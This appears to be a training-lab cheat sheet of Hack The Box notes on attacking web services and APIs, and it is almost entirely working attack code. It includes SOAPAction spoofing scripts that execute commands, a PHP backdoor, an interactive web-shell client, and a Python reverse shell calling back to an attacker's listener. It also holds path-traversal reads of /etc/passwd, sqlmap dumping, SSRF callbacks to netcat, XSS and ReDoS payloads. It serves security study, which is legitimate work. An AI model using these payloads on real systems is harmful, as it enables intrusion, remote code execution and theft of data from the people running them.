Web Service & API Fundamentals
// wdsl
dirb http://<TARGET IP>:3002
http://<TARGET IP>:3002/wsdl
// The response is empty! Maybe there is a parameter that will provide us with access to the SOAP web service's WSDL file
ffuf -w "/home/htb-acxxxxx/Desktop/Useful Repos/SecLists/Discovery/Web-Content/burp-parameter-names.txt" -u 'http://<TARGET IP>:3002/wsdl?FUZZ' -fs 0 -mc 200
// It looks like wsdl is a valid parameter. Let us now issue a request for http://<TARGET IP>:3002/wsdl?wsdl
// xml definition example
<wsdl:definitions targetNamespace="http://tempuri.org/"
<wsdl:types></wsdl:types>
<wsdl:message name="LoginSoapIn"></wsdl:message>
<wsdl:portType name="HacktheBoxSoapPort">
<wsdl:operation name="Login"></wsdl:operation>
</wsdl:portType>
<wsdl:binding name="HacktheboxServiceSoapBinding" type="tns:HacktheBoxSoapPort">
<wsdl:operation name="Login">
<soap:operation soapAction="Login" style="document"/>
<wsdl:input></wsdl:input>
<wsdl:output></wsdl:output>
</wsdl:operation>
</wsdl:binding>
<wsdl:service name="HacktheboxService"></wsdl:service>
</wsdl:definitions>
SOAPAction Spoofing
// client.py
import requests
payload = '<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:tns="http://tempuri.org/" xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/"><soap:Body><ExecuteCommandRequest xmlns="http://tempuri.org/"><cmd>whoami</cmd></ExecuteCommandRequest></soap:Body></soap:Envelope>'
print(requests.post("http://<TARGET IP>:3002/wsdl", data=payload, headers={"SOAPAction":'"ExecuteCommand"'}).content)
// will get an error mentioning This function is only allowed in internal networks.
// client_soapaction_spoofing.py)
import requests
payload = '<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:tns="http://tempuri.org/" xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/"><soap:Body><LoginRequest xmlns="http://tempuri.org/"><cmd>whoami</cmd></LoginRequest></soap:Body></soap:Envelope>'
print(requests.post("http://<TARGET IP>:3002/wsdl", data=payload, headers={"SOAPAction":'"ExecuteCommand"'}).content)
// automate.py
import requests
while True:
cmd = input("$ ")
payload = f'<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:tns="http://tempuri.org/" xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/"><soap:Body><LoginRequest xmlns="http://tempuri.org/"><cmd>{cmd}</cmd></LoginRequest></soap:Body></soap:Envelope>'
print(requests.post("http://<TARGET IP>:3002/wsdl", data=payload, headers={"SOAPAction":'"ExecuteCommand"'}).content)
// Command injection
curl http://<TARGET IP>:3003/ping-server.php/system/ls
// When assessing a web service or API for information disclosure, we should spend considerable time on fuzzing.
// Information Disclosure through Fuzzing
ffuf -w "/home/htb-acxxxxx/Desktop/Useful Repos/SecLists/Discovery/Web-Content/burp-parameter-names.txt" -u 'http://<TARGET IP>:3003/?FUZZ=test_value'
// filter out any responses having a size of 19, as follows.
ffuf -w "/home/htb-acxxxxx/Desktop/Useful Repos/SecLists/Discovery/Web-Content/burp-parameter-names.txt" -u 'http://<TARGET IP>:3003/?FUZZ=test_value' -fs 19
// valid parameter id and we can test
curl http://<TARGET IP>:3003/?id=1
// below a Python script that could automate retrieving all information that the API returns (save it as brute_api.py).
import requests, sys
def brute():
try:
value = range(10000)
for val in value:
url = sys.argv[1]
r = requests.get(url + '/?id='+str(val))
if "position" in r.text:
print("Number found!", val)
print(r.text)
except IndexError:
print("Enter a URL E.g.: http://<TARGET IP>:3003/")
brute()
// sqli
sqlmap -u http://x.x.x.x:3003/?id=1 -p id --dump
// backdoor
<?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?>
//backdoor.php will be rendered successfully and if no PHP function restrictions exist.
// web_shell.py
import argparse, time, requests, os # imports four modules argparse (used for system arguments), time (used for time), requests (used for HTTP/HTTPs Requests), os (used for operating system commands)
parser = argparse.ArgumentParser(description="Interactive Web Shell for PoCs") # generates a variable called parser and uses argparse to create a description
parser.add_argument("-t", "--target", help="Specify the target host E.g. http://<TARGET IP>:3001/uploads/backdoor.php", required=True) # specifies flags such as -t for a target with a help and required option being true
parser.add_argument("-p", "--payload", help="Specify the reverse shell payload E.g. a python3 reverse shell. IP and Port required in the payload") # similar to above
parser.add_argument("-o", "--option", help="Interactive Web Shell with loop usage: python3 web_shell.py -t http://<TARGET IP>:3001/uploads/backdoor.php -o yes") # similar to above
args = parser.parse_args() # defines args as a variable holding the values of the above arguments so we can do args.option for example.
if args.target == None and args.payload == None: # checks if args.target (the url of the target) and the payload is blank if so it'll show the help menu
parser.print_help() # shows help menu
elif args.target and args.payload: # elif (if they both have values do some action)
print(requests.get(args.target+"/?cmd="+args.payload).text) ## sends the request with a GET method with the targets URL appends the /?cmd= param and the payload and then prints out the value using .text because we're already sending it within the print() function
if args.target and args.option == "yes": # if the target option is set and args.option is set to yes (for a full interactive shell)
os.system("clear") # clear the screen (linux)
while True: # starts a while loop (never ending loop)
try: # try statement
cmd = input("$ ") # defines a cmd variable for an input() function which our user will enter
print(requests.get(args.target+"/?cmd="+cmd).text) # same as above except with our input() function value
time.sleep(0.3) # waits 0.3 seconds during each request
except requests.exceptions.InvalidSchema: # error handling
print("Invalid URL Schema: http:// or https://")
except requests.exceptions.ConnectionError: # error handling
print("URL is invalid")
// using the script
python3 web_shell.py -t http://<TARGET IP>:3001/uploads/backdoor.php -o yes
//To obtain a more functional (reverse) shell, execute the below inside the shell gained through the Python script above.
// Ensure that an active listener (such as Netcat) is in place before executing the below.
python3 web_shell.py -t http://<TARGET IP>:3001/uploads/backdoor.php -o yes
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<VPN/TUN Adapter IP>",<LISTENER PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
// Local File Inclusion (LFI) is an attack that affects web applications and APIs alike.
// It allows an attacker to read internal files and sometimes execute code on the
// server via a series of ways, one being Apache Log Poisoning.
curl "http://x.x.x.x:3000/api/download/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"
curl http://<TARGET IP>:3000/api
// fuzzing with common api endpoints
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/common-api-endpoints-mazen160.txt
curl http://<TARGET IP>:3000/api/download
// {"success":false,"error":"Input the filename via /download/<filename>"}
// We need to specify a file, but we do not have any knowledge of stored files
// or their naming scheme. We can try mounting a Local File Inclusion (LFI) attack, though.
curl "http://<TARGET IP>:3000/api/download/..%2f..%2f..%2f..%2fetc%2fhosts"
// API is indeed vulnerable to Local File Inclusion
XSS
http://x.x.x.x:3000/api/download/%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Server-Side Request Forgery (SSRF)
SSRF can lead to
Interacting with known internal systems
Discovering internal services via port scans
Disclosing local/sensitive data
Including files in the target application
Leaking NetNTLM hashes using UNC Paths (Windows)
Achieving remote code execution
curl "http://<TARGET IP>:3000/api/userinfo?id=http://<VPN/TUN Adapter IP>:<LISTENER PORT>"
{"success":false,"error":"'id' parameter is invalid."}
nc -nlvp 4444
echo "http://<VPN/TUN Adapter IP>:<LISTENER PORT>" | tr -d '\n' | base64
curl "http://<TARGET IP>:3000/api/userinfo?id=<BASE64 blob>"
//When you make the API call, you will notice a connection being made to your Netcat listener. The API is // vulnerable to SSRF.
// Regular Expression Denial of Service (ReDoS)
curl "http://<TARGET IP>:3000/api/check-email?email=jjjjjjjjjjjjjjjjjjjjjjjjjjjj@ccccccccccccccccccccccccccccc.55555555555555555555555555555555555555555555555555555555."
Last updated
Was this helpful?